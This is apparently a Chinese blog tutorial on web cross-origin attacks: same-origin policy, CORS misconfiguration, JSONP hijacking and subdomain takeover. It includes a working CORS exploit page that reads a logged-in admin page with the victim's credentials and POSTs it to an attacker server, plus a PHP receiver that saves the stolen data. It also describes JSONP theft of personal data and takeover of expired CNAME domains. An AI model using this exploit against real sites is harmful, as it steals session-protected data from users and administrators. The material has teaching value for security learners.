我正在参与掘金创作者训练营第6期,点击了解活动详情
知识点:
1、子域名接管
2、COSP跨域
3、JSONP跨域
前置知识点:
同源策略(SOP)-“同源”包括三个条件:同协议 同域名 同端口
同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的关键的安全机制.简单说就是浏览器的一种安全策略。
虽然同源策略在安全方面起到了很好的防护作用,但也在一定程度上限制了一些前端功能的实现,所以就有了许多跨域的手段。
那种属于同源策略和不属于
属于
http://www.baidu.com/baidu
http://www.baidu.com/
不属于
https://www.baidu.com/
http://www.baidu9.com/
http://www.baidu.com:81
同源策略的判断方式
就是检测的来源是哪里
检测数据包的触发点来源在哪里
那么同源策略是怎么防护的呢
很简单
就是当我浏览器登录一个网址的后台
而这个时候我点开了一个链接,这链接里面有而且的执行代码,如果没有同源策略,就可能会利用我后台的权限去执行一些恶意的东西
而这个时候有同源策略了,他就会检测这个链接的发起来源是哪里
就好比我们收到一个信息,信息说我余额不足,那么这个时候我就看发信息的来源是不是10086或者其他运营商的号码,如果不是那就是假的,
同源策略就是这样他会检测发起源头,是不是本网址的域名发起的,会检测数据包
CORS跨域
了解跨域的话,必须要了解同源策略
同源,是指协议、域名、端口都相同
例如
www.abc.com到http://www.def.co… www.abc.com:3000到http://www.abc.co… www.abc.com到https://www.abc.co…
跨域是什么
所谓跨域就是从 A
向 B
发请求,如若他们的地址协议、域名、端口都不相同,直接访问就会造成跨域问题,跨域是非常常见的现象!请求是跨域的但并不一定会报错,普通的图片请求。css文件请求是不会报错的。报错的条件是浏览器的同源策略,且发送Ajax请求,跨域是客户端问题
。
这里解释跨域的流程
首先我登录了
一个网址的后台
然后用到两个代码
cors1.html
<!DOCTYPE>
<html>
<h1>cors exploit</h1>
<script type="text/javascript">
function exploit()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200)
{
var datas=xhr1.responseText;
xhr2.open("POST","http://这个就是你服务器中cors1.php的地址浏览器访问的地址/cors1.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("z0="+escape(datas));
}
}
xhr1.open("GET","https://你登录后台的地址/zb_system/admin/member_edit.php?act=MemberEdt&id=1","true")
xhr1.withCredentials = true;
xhr1.send();
}
exploit();
</script>
</html>
cors.php
<?php
$file = fopen("secrect.html", "w+");
$res = $_POST['z0'];
fwrite($file, $res);
fclose($res);
?>
这两个文件都要放到服务器上
然后我就点击访问这个cors.php
这个时候
我们的后台就会接收到信息了
就会创建一个exploit的html文件
那么这个文件里面就是存放着后台的HTML信息
就类似爬虫一样把整个后台/member_edit.php的HTML+css等都爬下来了
JSONP
JSONP 不是一门编程语言,也不是什么特别的技术,它更像一个漏洞,程序员可以利用这个漏洞,实现跨域(可以简单理解为跨域名)传输数据。虽然 JSONP 与 JSON 看起来很像,但它们却是完全不同的
JSONP(JSON with Padding)是资料格式JSON的一种“使用模式”,可以让网页从别的网域获取资料。
JSONP的最基本的原理是:动态添加一个< script >标签,而script标签的src属性是没有跨域的限制的。由于同源策略的限制,XmlHttpRequest只允许请求当前源(域名、协议、端口都相同)的资源,如果要进行跨域请求, 我们可以通过使用html的script标记来进行跨域请求,并在响应中返回要执行的script代码,其中可以直接使用JSON传递javascript对象
利用
存在两个网站A和B,用户在网站B上注册并且填写了自己的用户名,手机号,身份证号等信息,并且网站B存在一个jsonp接口,用户在访问网站B的时候。这个jsonp接口会返回用户的个人信息,并在网站B的html页面上进行显示。如果网站B对此jsonp接口的来源验证存在漏洞,那么当用户访问网站A时,网站A便可以利用此漏洞进行JSONP劫持来获取用户的信息
1.用户在网站B上注册账户,填写了自己的手机号、姓名、身份证等个人信息,并保持登录状态
2.用户通过同一个浏览器,向网站A发送URL请求。网站A可能是用户经常登录的页面,或者是被恶意劫持的大型厂商的页面。
3.网站A页面存在恶意的jsonp回调函数以及< script >标签,示例代码如下:
4.网站A存在一个inlog.php,当callback函数被触发的时候,会向inlog.php发送请求,inlog.php会把请求记录到log.txt文件中。
5.用户向网站A请求之后,网站A中的恶意代码,会向网站B发送jsonp请求,并且收到网站B返回的数据
6.浏览器在收到网站B返回的数据之后,便会调用网站A页面的callback函数,将用户在网站B上注册的信息,保存到log.txt中
流程图
过程
首先,找到存在该漏洞地址
修改请求包信息,在返回值开头中可见calmness;
传过去的calmness就是函数名,服务端返回的是一个函数调用,可以理解为:evil就是一个函数,(["customername1","customername2"])就是函数参数,网站前端只需要再编写代码处理函数返回的值即可。
子域名接管
test.xxx.com cname test.xsxsx.com
这个时候test.xsxsx.com 过期了或失效了,
我们就可以注册这个过期失效的域名,实现对test,xxx.com的控制
工具检测
$ dnstake -h
·▄▄▄▄ ▐ ▄ .▄▄ ·▄▄▄▄▄ ▄▄▄· ▄ •▄ ▄▄▄ . ██▪ ██ •█▌▐█▐█ ▀.•██ ▐█ ▀█ █▌▄▌▪▀▄.▀· ▐█· ▐█▌▐█▐▐▌▄▀▀▀█▄▐█.▪▄█▀▀█ ▐▀▀▄·▐▀▀▪▄ ██. ██ ██▐█▌▐█▄▪▐█▐█▌·▐█ ▪▐▌▐█.█▌▐█▄▄▌ ▀▀▀▀▀• ▀▀ █▪ ▀▀▀▀ ▀▀▀ ▀ ▀ ·▀ ▀ ▀▀▀
怎么判断有这个子域名接管漏洞呢
就是如果上面出来是这样的
xxxx.xxx.com 对于的是域名的
比如说是
www.baidu.com 666.baidu6.com
如果什么出来是这样的
而不是
www.baidu.cm 111.111.111.111 不是对于ip的
那么就可以查一下
666.baidu6.com这域名有没有过期
如果过期了,就是域名可以购买了
你就把666.baidu6.com这域名购买了
然后你再访问www.baidu.com 这网址,他就会跳转到666.baidu6.com这网址,
为什么呢
就是因为666.baidu6.com这个域名过期了,没有续费,而他的解析没有更改目标,而我们现在把666.baidu6.com购买了,访问baidu就会跳转到666.baidu6.com